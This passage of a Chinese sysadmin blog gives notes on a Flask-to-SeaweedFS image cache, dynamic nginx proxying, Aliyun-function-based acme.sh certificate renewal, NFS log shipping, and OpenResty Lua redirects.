class=\"n\">Flask</span><span class=\"p\">(</span><span class=\"vm\">__name__</span><span class=\"p\">)</span>\n\n<span class=\"nd\">@app</span><span class=\"o\">.</span><span class=\"n\">route</span><span class=\"p\">(</span><span class=\"s2\">&quot;/my_images/&lt;name&gt;&quot;</span><span class=\"p\">)</span>\n<span class=\"k\">def</span> <span class=\"nf\">handler</span><span class=\"p\">(</span><span class=\"n\">name</span><span class=\"p\">):</span>\n    <span class=\"n\">x</span> <span class=\"o\">=</span> <span class=\"n\">sess</span><span class=\"o\">.</span><span class=\"n\">get</span><span class=\"p\">(</span><span class=\"n\">TARGET_SERVER</span><span class=\"o\">+</span><span class=\"n\">name</span><span class=\"p\">)</span>\n    <span class=\"n\">sess</span><span class=\"o\">.</span><span class=\"n\">post</span><span class=\"p\">(</span><span class=\"n\">WEEDFS_FILER_ENDPOINT</span><span class=\"p\">,</span> <span class=\"n\">files</span><span class=\"o\">=</span><span class=\"p\">[(</span><span class=\"s1\">&#39;filename&#39;</span><span class=\"p\">,</span> <span class=\"p\">(</span><span class=\"n\">name</span><span class=\"p\">,</span> <span class=\"n\">io</span><span class=\"o\">.</span><span class=\"n\">BytesIO</span><span class=\"p\">(</span><span class=\"n\">x</span><span class=\"o\">.</span><span class=\"n\">content</span><span class=\"p\">)))])</span>\n    <span class=\"k\">return</span> <span class=\"n\">Response</span><span class=\"p\">(</span><span class=\"n\">x</span><span class=\"o\">.</span><span class=\"n\">content</span><span class=\"p\">,</span> <span class=\"n\">mimetype</span><span class=\"o\">=</span><span class=\"s2\">&quot;image/jpeg&quot;</span><span class=\"p\">)</span> \n</code></pre></div>\n\n<h4 id=\"pythonpyseaweed\">顺便附上Python库pyseaweed的使用<a class=\"headerlink\" href=\"#pythonpyseaweed\" title=\"Permanent link\">&para;</a></h4>\n<p>pip install pyseaweed</p>\n<p>如果服务器启动的时候配置的<code>publicUrl</code>以<code>https://</code>开头，这个<code>pyseaweed</code>库是有问题的，需要手动修几处url构造的地方</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">publicurl</span> <span class=\"o\">=</span> <span class=\"s2\">&quot;http://localhost:8080/&quot;</span>\n\n<span class=\"kn\">from</span> <span class=\"nn\">pyseaweed</span> <span class=\"kn\">import</span> <span class=\"n\">WeedFS</span>\n<span class=\"n\">w</span> <span class=\"o\">=</span> <span class=\"n\">WeedFS</span><span class=\"p\">(</span><span class=\"s2\">&quot;localhost&quot;</span><span class=\"p\">,</span> <span class=\"mi\">9333</span><span class=\"p\">,</span> <span class=\"n\">use_session</span><span class=\"o\">=</span><span class=\"kc\">True</span><span class=\"p\">)</span>\n<span class=\"c1\"># 上传 也支持传入流</span>\n<span class=\"n\">fid</span> <span class=\"o\">=</span> <span class=\"n\">w</span><span class=\"o\">.</span><span class=\"n\">upload_file</span><span class=\"p\">(</span><span class=\"n\">filename</span><span class=\"p\">)</span>\n\n<span class=\"c1\"># 下载 得到对象字节</span>\n<span class=\"n\">data</span> <span class=\"o\">=</span> <span class=\"n\">w</span><span class=\"o\">.</span><span class=\"n\">conn</span><span class=\"o\">.</span><span class=\"n\">_conn</span><span class=\"o\">.</span><span class=\"n\">get</span><span class=\"p\">(</span><span class=\"n\">publicurl</span><span class=\"o\">+</span><span class=\"n\">fid</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">content</span>\n</code></pre></div>\n\n<h2 id=\"proxy_pass\">proxy_pass 动态代理<a class=\"headerlink\" href=\"#proxy_pass\" title=\"Permanent link\">&para;</a></h2>\n<p>效果：访问<code>/www.example.com/</code> 反向代理到<code>http://www.example.com</code>，并支持一次跳转</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">location</span><span class=\"w\"> </span><span class=\"o\">~</span><span class=\"w\"> </span><span class=\"o\">^/</span><span class=\"p\">(.</span><span class=\"o\">*</span><span class=\"p\">)</span><span class=\"err\">$</span><span class=\"w\"> </span><span class=\"err\">{</span>\n<span class=\"w\">    </span><span class=\"n\">proxy_pass</span><span class=\"w\"> </span><span class=\"nl\">http</span><span class=\"p\">:</span><span class=\"o\">//</span><span class=\"err\">$</span><span class=\"mi\">1</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"n\">proxy_intercept_errors</span><span class=\"w\"> </span><span class=\"k\">on</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"n\">error_page</span><span class=\"w\"> </span><span class=\"mi\">301</span><span class=\"w\"> </span><span class=\"mi\">302</span><span class=\"w\"> </span><span class=\"mi\">307</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"nv\">@handle_redirect</span><span class=\"p\">;</span>\n<span class=\"err\">}</span>\n\n<span class=\"n\">location</span><span class=\"w\"> </span><span class=\"nv\">@handle_redirect</span><span class=\"w\"> </span><span class=\"err\">{</span>\n<span class=\"w\">    </span><span class=\"k\">set</span><span class=\"w\"> </span><span class=\"err\">$</span><span class=\"n\">saved_redirect_location</span><span class=\"w\"> </span><span class=\"s1\">&#39;$upstream_http_location&#39;</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"n\">proxy_pass</span><span class=\"w\"> </span><span class=\"err\">$</span><span class=\"n\">saved_redirect_location</span><span class=\"p\">;</span>\n<span class=\"err\">}</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"nginxserver\">Nginx隐藏Server头 简单方式<a class=\"headerlink\" href=\"#nginxserver\" title=\"Permanent link\">&para;</a></h2>\n<p>参考： https://serverfault.com/questions/214242/can-i-hide-all-server-os-info</p>\n<div class=\"codehilite\"><pre><span></span><code>apt install -y nginx-extras\n</code></pre></div>\n\n<p>配置中添加：</p>\n<div class=\"codehilite\"><pre><span></span><code>header_filter_by_lua &#39;ngx.header[&quot;server&quot;] = nil&#39;;\n</code></pre></div>\n\n<hr />\n<h2 id=\"https_1\">使用阿里云函数计算定时更新https证书<a class=\"headerlink\" href=\"#https_1\" title=\"Permanent link\">&para;</a></h2>\n<p>为了减少对vps的依赖，逐步将一些在服务器上跑的任务迁移到更加可靠的函数计算</p>\n<p>这不是一个详细的教程，你还需要自行探索研究</p>\n<h3 id=\"_4\">入口<a class=\"headerlink\" href=\"#_4\" title=\"Permanent link\">&para;</a></h3>\n<p>https://fc.console.aliyun.com</p>\n<p>关键词： <a href=\"https://promotion.aliyun.com/ntms/act/fc/doc.html\">教程</a> <a href=\"https://help.aliyun.com/document_detail/54301.html\">定价 128MB是免费的</a>  <a href=\"https://help.aliyun.com/document_detail/68172.html\">定时触发器</a> <a href=\"https://help.aliyun.com/learn/learningpath/log.html\">日志服务</a></p>\n<h3 id=\"_5\">代码框架<a class=\"headerlink\" href=\"#_5\" title=\"Permanent link\">&para;</a></h3>\n<p>Python3 先本地<code>git clone --depth 1 https://github.com/Neilpang/acme.sh</code>，再创建个index.py 把代码文件夹上传上去</p>\n<p>网页上在线编辑index.py不会丢失acme.sh文件夹（只会改动index.py），代码改动后就能直接运行看到结果（实时输出需要去日志服务搜索），还是挺好用的</p>\n<p>使用这个代码需要先创建一个可以访问OSS的AccessKey，填入<code>oss2.Auth</code>部分——将生成的https证书和私钥存储到OSS，将Key硬编码到代码中不是一个好习惯，这里就简单粗暴实现了</p>\n<p>域名验证方式用的是challenge-alias的dns验证，需要将<code>_acme-challenge.py3.io</code>设置CNAME到<code>_acme-challenge.chenyuan.me</code>。\n如果你还需要更多的子域名如<code>*.subdomain.py3.io</code>，那也要把<code>_acme-challenge.subdomain.py3.io</code>设置CNAME到<code>_acme-challenge.chenyuan.me</code></p>\n<p>用的是cloudflare的API，需要提供<code>CF_Key</code>和<code>CF_Email</code>，你也可以使用<a href=\"https://github.com/Neilpang/acme.sh/wiki/dnsapi\">更多的API</a></p>\n<p>定时器设置十五天执行一次，cron表达式为：<code>0 0 0 1,15 * *</code></p>\n<p>你需要替换下面代码的REGION OSS地域, AK, SK 可以访问OSS的密钥, OSSNAME 使用的OSS名称, CF_Key cloudflare的API Key, CF_Email cloudflare的用户名邮箱, <code>chenyuan.me</code> 在cloudflare上托管的域名, <code>py3io_ATxx</code>申请得到的证书的名称 加入随机字符串避免被猜到, <code>[\"py3.io\", \"*.py3.io\"]</code> 申请的域名列表</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"c1\"># -*- coding: utf-8 -*-</span>\n<span class=\"kn\">import</span> <span class=\"nn\">os</span>\n<span class=\"kn\">import</span> <span class=\"nn\">logging</span>\n<span class=\"kn\">import</span> <span class=\"nn\">random</span>\n<span class=\"kn\">import</span> <span class=\"nn\">os</span>\n<span class=\"kn\">import</span> <span class=\"nn\">oss2</span>\n<span class=\"kn\">import</span> <span class=\"nn\">io</span>\n<span class=\"kn\">import</span> <span class=\"nn\">time</span>\n<span class=\"kn\">import</span> <span class=\"nn\">string</span>\n<span class=\"kn\">import</span> <span class=\"nn\">json</span>\n<span class=\"n\">logger</span> <span class=\"o\">=</span> <span class=\"n\">logging</span><span class=\"o\">.</span><span class=\"n\">getLogger</span><span class=\"p\">()</span>\n<span class=\"n\">endpoint</span> <span class=\"o\">=</span> <span class=\"s1\">&#39;http://oss-cn-REGION-internal.aliyuncs.com&#39;</span> \n<span class=\"n\">auth</span> <span class=\"o\">=</span> <span class=\"n\">oss2</span><span class=\"o\">.</span><span class=\"n\">Auth</span><span class=\"p\">(</span><span class=\"s1\">&#39;AK&#39;</span><span class=\"p\">,</span> <span class=\"s1\">&#39;SK&#39;</span><span class=\"p\">)</span>\n<span class=\"n\">bucket</span> <span class=\"o\">=</span> <span class=\"n\">oss2</span><span class=\"o\">.</span><span class=\"n\">Bucket</span><span class=\"p\">(</span><span class=\"n\">auth</span><span class=\"p\">,</span> <span class=\"n\">endpoint</span><span class=\"p\">,</span> <span class=\"s1\">&#39;OSSNAME&#39;</span><span class=\"p\">)</span>\n\n<span class=\"k\">def</span> <span class=\"nf\">getcert</span><span class=\"p\">(</span><span class=\"n\">name</span><span class=\"p\">,</span> <span class=\"n\">domains</span><span class=\"p\">):</span>\n    <span class=\"k\">global</span> <span class=\"n\">logger</span>\n    <span class=\"k\">try</span><span class=\"p\">:</span>\n        <span class=\"k\">try</span><span class=\"p\">:</span>\n            <span class=\"n\">lasttime</span> <span class=\"o\">=</span> <span class=\"n\">bucket</span><span class=\"o\">.</span><span class=\"n\">get_object_meta</span><span class=\"p\">(</span><span class=\"n\">name</span><span class=\"o\">+</span><span class=\"s2\">&quot;.crt&quot;</span><span class=\"p\">)</span><span class=\"o\">.</span><span class=\"n\">last_modified</span> \n            <span class=\"k\">if</span> <span class=\"n\">time</span><span class=\"o\">.</span><span class=\"n\">time</span><span class=\"p\">()</span> <span class=\"o\">-</span> <span class=\"n\">lasttime</span> <span class=\"o\">&lt;=</span> <span class=\"mi\">86400</span> <span class=\"o\">*</span> <span class=\"mi\">60</span><span class=\"p\">:</span>\n                <span class=\"c1\"># do not recreate cert for 60 days</span>\n                <span class=\"n\">logger</span><span class=\"o\">.</span><span class=\"n\">info</span><span class=\"p\">(</span><span class=\"s1\">&#39;Skip cert for &#39;</span><span class=\"o\">+</span><span class=\"n\">name</span><span class=\"p\">)</span>\n                <span class=\"k\">return</span>\n        <span class=\"k\">except</span><span class=\"p\">:</span>\n            <span class=\"k\">pass</span>\n\n        <span class=\"n\">logger</span><span class=\"o\">.</span><span class=\"n\">info</span><span class=\"p\">(</span><span class=\"s1\">&#39;Getting cert for &#39;</span><span class=\"o\">+</span><span class=\"n\">name</span><span class=\"p\">)</span>\n        <span class=\"n\">domain_text</span> <span class=\"o\">=</span> <span class=\"s2\">&quot;-d &#39;&quot;</span> <span class=\"o\">+</span> <span class=\"s2\">&quot;&#39; -d &#39;&quot;</span><span class=\"o\">.</span><span class=\"n\">join</span><span class=\"p\">(</span><span class=\"n\">domains</span><span class=\"p\">)</span> <span class=\"o\">+</span> <span class=\"s2\">&quot;&#39;&quot;</span>\n        <span class=\"n\">cmd</span> <span class=\"o\">=</span> <span class=\"s2\">&quot;CF_Key=xxx CF_Email=xxx@yyy.com ./acme.sh/acme.sh --issue --dns dns_cf &quot;</span><span class=\"o\">+</span><span class=\"n\">domain_text</span><span class=\"o\">+</span><span class=\"s2\">&quot; --dnssleep 5 --fullchain-file /tmp/&quot;</span><span class=\"o\">+</span><span class=\"n\">name</span><span class=\"o\">+</span><span class=\"s2\">&quot;.crt --key-file /tmp/&quot;</span><span class=\"o\">+</span><span class=\"n\">name</span><span class=\"o\">+</span><span class=\"s2\">&quot;.key -f &quot;</span>\n        <span class=\"k\">if</span> <span class=\"n\">name</span> <span class=\"o\">!=</span> <span class=\"s2\">&quot;chenyuan.me&quot;</span><span class=\"p\">:</span>\n            <span class=\"n\">cmd</span> <span class=\"o\">+=</span> <span class=\"s2\">&quot;--challenge-alias chenyuan.me&quot;</span>\n        <span class=\"nb\">print</span><span class=\"p\">(</span><span class=\"s2\">&quot;acme.sh --issue&quot;</span><span class=\"o\">+</span><span class=\"n\">cmd</span><span class=\"o\">.</span><span class=\"n\">split</span><span class=\"p\">(</span><span class=\"s2\">&quot;--issue&quot;</span><span class=\"p\">)[</span><span class=\"mi\">1</span><span class=\"p\">])</span>\n        <span class=\"k\">assert</span> <span class=\"n\">os</span><span class=\"o\">.</span><span class=\"n\">system</span><span class=\"p\">(</span><span class=\"n\">cmd</span><span class=\"p\">)</span><span class=\"o\">==</span><span class=\"mi\">0</span><span class=\"p\">,</span> <span class=\"s2\">&quot;get cert failed&quot;</span>\n        <span class=\"n\">bucket</span><span class=\"o\">.</span><span class=\"n\">put_object_from_file</span><span class=\"p\">(</span><span class=\"n\">name</span><span class=\"o\">+</span><span class=\"s2\">&quot;.crt&quot;</span><span class=\"p\">,</span> <span class=\"s2\">&quot;/tmp/&quot;</span><span class=\"o\">+</span><span class=\"n\">name</span><span class=\"o\">+</span><span class=\"s2\">&quot;.crt&quot;</span><span class=\"p\">)</span>\n        <span class=\"n\">bucket</span><span class=\"o\">.</span><span class=\"n\">put_object_from_file</span><span class=\"p\">(</span><span class=\"n\">name</span><span class=\"o\">+</span><span class=\"s2\">&quot;.key&quot;</span><span class=\"p\">,</span> <span class=\"s2\">&quot;/tmp/&quot;</span><span class=\"o\">+</span><span class=\"n\">name</span><span class=\"o\">+</span><span class=\"s2\">&quot;.key&quot;</span><span class=\"p\">)</span>\n        <span class=\"n\">logger</span><span class=\"o\">.</span><span class=\"n\">info</span><span class=\"p\">(</span><span class=\"s1\">&#39;Done for &#39;</span><span class=\"o\">+</span><span class=\"n\">name</span><span class=\"p\">)</span>\n    <span class=\"k\">except</span> <span class=\"ne\">Exception</span> <span class=\"k\">as</span> <span class=\"n\">e</span><span class=\"p\">:</span>\n        <span class=\"n\">logger</span><span class=\"o\">.</span><span class=\"n\">exception</span><span class=\"p\">(</span><span class=\"s2\">&quot;exception happend: &quot;</span><span class=\"o\">+</span> <span class=\"n\">name</span><span class=\"p\">)</span>\n\n<span class=\"k\">def</span> <span class=\"nf\">handler</span><span class=\"p\">(</span><span class=\"n\">event</span><span class=\"p\">,</span> <span class=\"n\">context</span><span class=\"p\">):</span>\n    <span class=\"n\">getcert</span><span class=\"p\">(</span><span class=\"s2\">&quot;py3io_ATxx&quot;</span><span class=\"p\">,</span> <span class=\"p\">[</span><span class=\"s2\">&quot;py3.io&quot;</span><span class=\"p\">,</span> <span class=\"s2\">&quot;*.py3.io&quot;</span><span class=\"p\">])</span>\n    <span class=\"k\">return</span> <span class=\"s1\">&#39;ok&#39;</span>\n</code></pre></div>\n\n<h3 id=\"_6\">更多说明<a class=\"headerlink\" href=\"#_6\" title=\"Permanent link\">&para;</a></h3>\n<p>取得一个域名的证书大约需要1~2分钟，由于函数计算允许的最长超时是600秒，还有考虑网络因素（毕竟cloudflare和let&rsquo;s encrypt都在国外），\n是有可能失败的</p>\n<p>我采取的策略就很简单粗暴 每15天执行一遍，一个域名失败了不影响其他域名的尝试，60天内成功了的域名不会反复申请，总会成功的</p>\n<p>安全性：为了便于将证书部署到web服务器，OSS仓库是设置成公开读的，这样就可能泄露私钥文件（攻击者知道OSS名称，猜到文件名称），你可以用Referer限制来增加一点安全性</p>\n<h3 id=\"web\">web服务器上的部署<a class=\"headerlink\" href=\"#web\" title=\"Permanent link\">&para;</a></h3>\n<p>也是写一个定时任务咯 <code>0 0 0 3,17 * *</code>，每个月3号和17号用curl获取一下最新的证书</p>\n<p>如果nginx的配置原先就是错的，不会尝试更新证书</p>\n<p>如果更新证书后nginx无法启动（比如无法连上阿里云下载的文件为空或404），会回滚这个改动，保证nginx仍然可以启动</p>\n<p>你需要替换下面代码的NAME, OSSNAME, REGION 同上, Referer_STRING 在OSS设置的只允许这个Referer_STRING访问 不允许Referer为空 增加安全性</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"ch\">#!/bin/bash</span>\n<span class=\"nb\">set</span><span class=\"w\"> </span>-ex\n<span class=\"nb\">export</span><span class=\"w\"> </span><span class=\"nv\">PATH</span><span class=\"o\">=</span>/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\n<span class=\"nb\">cd</span><span class=\"w\"> </span>/var/www\n<span class=\"nv\">NAME</span><span class=\"o\">=</span><span class=\"s2\">&quot;py3io_ATxx&quot;</span>\ncurl<span class=\"w\"> </span>-o<span class=\"w\"> </span><span class=\"si\">${</span><span class=\"nv\">NAME</span><span class=\"si\">}</span>.crt.new<span class=\"w\"> </span>https://OSSNAME.oss-cn-REGION.aliyuncs.com/<span class=\"si\">${</span><span class=\"nv\">NAME</span><span class=\"si\">}</span>.crt<span class=\"w\"> </span>-H<span class=\"w\"> </span><span class=\"s2\">&quot;Referer: Referer_STRING&quot;</span>\ncurl<span class=\"w\"> </span>-o<span class=\"w\"> </span><span class=\"si\">${</span><span class=\"nv\">NAME</span><span class=\"si\">}</span>.key.new<span class=\"w\"> </span>https://OSSNAME.oss-cn-REGION.aliyuncs.com/<span class=\"si\">${</span><span class=\"nv\">NAME</span><span class=\"si\">}</span>.key<span class=\"w\"> </span>-H<span class=\"w\"> </span><span class=\"s2\">&quot;Referer: Referer_STRING&quot;</span>\nnginx<span class=\"w\"> </span>-s<span class=\"w\"> </span>reload\nmv<span class=\"w\"> </span><span class=\"si\">${</span><span class=\"nv\">NAME</span><span class=\"si\">}</span>.crt<span class=\"w\"> </span><span class=\"si\">${</span><span class=\"nv\">NAME</span><span class=\"si\">}</span>.crt.old\nmv<span class=\"w\"> </span><span class=\"si\">${</span><span class=\"nv\">NAME</span><span class=\"si\">}</span>.key<span class=\"w\"> </span><span class=\"si\">${</span><span class=\"nv\">NAME</span><span class=\"si\">}</span>.key.old\nmv<span class=\"w\"> </span><span class=\"si\">${</span><span class=\"nv\">NAME</span><span class=\"si\">}</span>.crt.new<span class=\"w\"> </span><span class=\"si\">${</span><span class=\"nv\">NAME</span><span class=\"si\">}</span>.crt\nmv<span class=\"w\"> </span><span class=\"si\">${</span><span class=\"nv\">NAME</span><span class=\"si\">}</span>.key.new<span class=\"w\"> </span><span class=\"si\">${</span><span class=\"nv\">NAME</span><span class=\"si\">}</span>.key\nnginx<span class=\"w\"> </span>-s<span class=\"w\"> </span>reload<span class=\"w\"> </span><span class=\"o\">||</span><span class=\"w\"> </span><span class=\"o\">(</span>mv<span class=\"w\"> </span><span class=\"si\">${</span><span class=\"nv\">NAME</span><span class=\"si\">}</span>.crt.old<span class=\"w\"> </span><span class=\"si\">${</span><span class=\"nv\">NAME</span><span class=\"si\">}</span>.crt<span class=\"p\">;</span><span class=\"w\"> </span>mv<span class=\"w\"> </span><span class=\"si\">${</span><span class=\"nv\">NAME</span><span class=\"si\">}</span>.key.old<span class=\"w\"> </span><span class=\"si\">${</span><span class=\"nv\">NAME</span><span class=\"si\">}</span>.key<span class=\"o\">)</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"nfsnginx\">使用nfs存储Nginx日志<a class=\"headerlink\" href=\"#nfsnginx\" title=\"Permanent link\">&para;</a></h2>\n<p>考虑一个不稳定的存储介质 如树莓派，想简单地把日志存储到其他服务器上</p>\n<p>由于nfs可能由于网络hang，而Nginx在无法写日志的时候也无法提供web访问，\n所以我的做法是先写到本地，每个小时将新的log追加到nfs同名<code>.1</code>文件里</p>\n<p>用到的：nfs，Nginx SIGUSR1信号，定时任务</p>\n<p>服务端的nfs镜像： https://hub.docker.com/r/itsthenetwork/nfs-server-alpine/</p>\n<div class=\"codehilite\"><pre><span></span><code>docker run --restart=always -d --name nfs -v /data:/nfsshare --privileged --net=host -e SHARED_DIRECTORY=/nfsshare itsthenetwork/nfs-server-alpine\n</code></pre></div>\n\n<p>客户端（web服务器）：</p>\n<div class=\"codehilite\"><pre><span></span><code>mkdir /nfs\nmount SERVER_IP:/ /nfs\n</code></pre></div>\n\n<p>collectlog.sh写到/nfs里，如果nfs发生了hang，脚本也不会执行</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"ch\">#!/bin/bash</span>\n<span class=\"nb\">export</span><span class=\"w\"> </span><span class=\"nv\">PATH</span><span class=\"o\">=</span>/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\n<span class=\"nb\">cd</span><span class=\"w\"> </span>/var/log/nginx\n<span class=\"k\">for</span><span class=\"w\"> </span>i<span class=\"w\"> </span><span class=\"k\">in</span><span class=\"w\"> </span>*.log<span class=\"p\">;</span><span class=\"w\"> </span><span class=\"k\">do</span>\n<span class=\"w\">    </span>mv<span class=\"w\"> </span><span class=\"nv\">$i</span><span class=\"w\"> </span><span class=\"si\">${</span><span class=\"nv\">i</span><span class=\"si\">}</span>.1<span class=\"p\">;</span>\n<span class=\"k\">done</span>\n<span class=\"nb\">kill</span><span class=\"w\"> </span>-USR1<span class=\"w\"> </span><span class=\"sb\">`</span>cat<span class=\"w\"> </span>/var/run/nginx.pid<span class=\"sb\">`</span>\nsleep<span class=\"w\"> </span><span class=\"m\">1</span>\n<span class=\"k\">for</span><span class=\"w\"> </span>i<span class=\"w\"> </span><span class=\"k\">in</span><span class=\"w\"> </span>*.log.1<span class=\"p\">;</span><span class=\"w\"> </span><span class=\"k\">do</span>\n<span class=\"w\">    </span>cat<span class=\"w\"> </span><span class=\"nv\">$i</span><span class=\"w\"> </span>&gt;&gt;<span class=\"w\"> </span>/nfs/<span class=\"nv\">$i</span>\n<span class=\"k\">done</span>\n</code></pre></div>\n\n<p>cron加入：每小时写入一次</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"mf\">0</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"o\">*</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">nfs</span><span class=\"o\">/</span><span class=\"n\">collectlog</span><span class=\"mf\">.</span><span class=\"n\">sh</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"openresty-luahook\">使用openresty Lua编程实现hook跳转<a class=\"headerlink\" href=\"#openresty-luahook\" title=\"Permanent link\">&para;</a></h2>\n<p>需求：有多个网站用户访问之前需要带上authtoken，没有这个Cookie则先跳转到登录界面</p>\n<p>使用openresty来方便地写Lua：</p>\n<p>安装参考 https://openresty.org/cn/linux-packages.html</p>\n<div class=\"codehilite\"><pre><span></span><code>sudo apt-get -y install --no-install-recommends wget gnupg ca-certificates\nwget -O - https://openresty.org/package/pubkey.gpg | sudo apt-key add -\necho &quot;deb http://openresty.org/package/ubuntu $(lsb_release -sc) main&quot; \\\n    | sudo tee /etc/apt/sources.list.d/openresty.list\nsudo apt-get update\nsudo apt-get -y install openresty\n</code></pre></div>\n\n<p>可能你会喜欢原来的nginx的目录设置，做个软链接呗：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">ln</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">s</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"n\">usr</span><span class=\"o\">/</span><span class=\"n\">local</span><span class=\"o\">/</span><span class=\"n\">openresty</span><span class=\"o\">/</span><span class=\"n\">nginx</span><span class=\"o\">/</span><span class=\"n\">logs</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"k\">var</span><span class=\"o\">/</span><span class=\"nb\">log</span><span class=\"o\">/</span><span class=\"n\">nginx</span>\n<span class=\"n\">alias</span><span class=\"w\"> </span><span class=\"n\">nginx</span><span class=\"o\">=</span><span class=\"n\">openresty</span>\n</code></pre></div>\n\n<p>快速入门： https://openresty.org/cn/getting-started.html</p>\n<p>就是content_by_lua_block里面直接写lua代码即可</p>\n<div class=\"codehilite\"><pre><span></span><code>http<span class=\"w\"> </span>{\n<span class=\"w\">    </span>server<span class=\"w\"> </span>{\n<span class=\"w\">        </span>listen<span class=\"w\"> </span>8080;\n<span class=\"w\">        </span>location<span class=\"w\"> </span>/<span class=\"w\"> </span>{\n<span class=\"w\">            </span>default_type<span class=\"w\"> </span>text/html;\n<span class=\"w\">            </span>content_by_lua_block<span class=\"w\"> </span>{\n<span class=\"w\">                </span>ngx.say(&quot;<span class=\"nt\">&lt;p&gt;</span>hello,<span class=\"w\"> </span>world<span class=\"nt\">&lt;/p&gt;</span>&quot;)\n<span class=\"w\">            </span>}\n<span class=\"w\">        </span>}\n<span class=\"w\">    </span>}\n}\n</code></pre></div>\n\n<p>想知道ngx有哪些方法，看这个文档： https://github.com/openresty/lua-nginx-module#ngxarg</p>\n<p>例如获取http GET的a参数：<code>ngx.var.arg_a</code>, 请求的Host参数：<code>ngx.var.http_host</code></p>\n<p>获取Cookie: 使用https://github.com/cloudflare/lua-resty-cookie</p>\n<p>先执行：<code>wget -O /etc/openresty/cookie.lua https://github.com/cloudflare/lua-resty-cookie/raw/master/lib/resty/cookie.lua</code></p>\n<p>在http中加入: <code>lua_package_path \"/etc/openresty/?.lua;;\";</code></p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">local</span><span class=\"w\"> </span><span class=\"nv\">ck</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"nv\">require</span><span class=\"w\"> </span><span class=\"s2\">&quot;cookie&quot;</span>\n<span class=\"nv\">local</span><span class=\"w\"> </span><span class=\"nv\">cookie</span>,<span class=\"w\"> </span><span class=\"nv\">err</span><span class=\"w\"> </span><span class=\"o\">=</span><span class=\"w\"> </span><span class=\"nv\">ck</span>:<span class=\"nv\">new</span><span class=\"ss\">()</span>\n<span class=\"k\">if</span><span class=\"w\"> </span><span class=\"nv\">not</span><span class=\"w\"> </span><span class=\"nv\">cookie</span><span class=\"w\"> </span><span class=\"k\">then</span>\n<span class=\"w\">    </span><span class=\"nv\">ngx</span>.<span class=\"nv\">log</span><span class=\"ss\">(</span><span class=\"nv\">ngx</span>.<span class=\"nv\">ERR</span>,<span class=\"w\"> </span><span class=\"nv\">err</span><span class=\"ss\">)</span>\n<span class=\"w\">    </span><span class=\"k\">return</span>\n<span class=\"k\">end</span>\n#然后即可使用<span class=\"nv\">cookie</span>:<span class=\"nv\">get</span><span class=\"ss\">(</span><span class=\"s2\">&quot;authtoken&quot;</span><span class=\"ss\">)</span>\n</code></pre></div>\n\n<p>想使用rewrite_by_lua_file则需要把文件放在/usr/local/openresty/nginx</p>\n<p>结束当前脚本继续后续请求处理 用<code>ngx.exit(0)</code></p>\n<p>结束整个请求 用<code>ngx.exit(200)</code></p>\n<p>跳转用 <code>ngx.redirect(\"https://py3.io\")</code></p>\n<p>Lua的三目运算： <code>a and b or c</code></p>\n<hr />\n<h2 id=\"_7\">不同子域名反代到不同端口<a class=\"headerlink\" href=\"#_7\" title=\"Permanent link\">&para;</a></h2>\n<p>你可以复制粘贴多个server块，但使用map是一个更优雅的方案</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nt\">http</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">    </span><span class=\"err\">map</span><span class=\"w\"> </span><span class=\"err\">$subdomain</span><span class=\"w\"> </span><span class=\"err\">$subdomain_port</span><span class=\"w\"> </span><span class=\"err\">{</span>\n<span class=\"w\">        </span><span class=\"err\">subdomain1</span><span class=\"w\"> </span><span class=\"err\">12345</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"err\">subdomain2</span><span class=\"w\"> </span><span class=\"err\">54321</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"err\">default</span><span class=\"w\"> </span><span class=\"err\">1</span><span class=\"p\">;</span>\n<span class=\"w\">    </span><span class=\"p\">}</span>\n<span class=\"w\">    </span><span class=\"nt\">server</span><span class=\"w\"> </span><span class=\"p\">{</span>\n<span class=\"w\">        </span><span class=\"err\">listen</span><span class=\"w\"> </span><span class=\"err\">80</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"err\">server_name</span><span class=\"w\"> </span><span class=\"err\">~^(?P&lt;subdomain&gt;.+?)\\.2020\\.actf\\.lol$</span><span class=\"p\">;</span>\n<span class=\"w\">        </span><span class=\"err\">location</span><span class=\"w\"> </span><span class=\"err\">/</span><span class=\"w\"> </span><span class=\"err\">{</span>\n<span class=\"w\">            </span><span class=\"err\">proxy_pass</span><span class=\"w\"> </span><span class=\"n\">http</span><span class=\"p\">:</span><span class=\"o\">//</span><span class=\"mf\">127.0.0.1</span><span class=\"o\">:</span><span class=\"err\">$</span><span class=\"n\">subdomain_port</span><span class=\"p\">;</span>\n<span class=\"w\">            </span><span class=\"err\">proxy_redirect</span><span class=\"w\"> </span><span class=\"err\">off</span><span class=\"p\">;</span>\n<span class=\"w\">            </span><span class=\"err\">proxy_set_header</span><span class=\"w\"> </span><span class=\"err\">Host</span><span class=\"w\"> </span><span class=\"err\">$host</span><span class=\"p\">;</span>\n<span class=\"w\">            </span><span 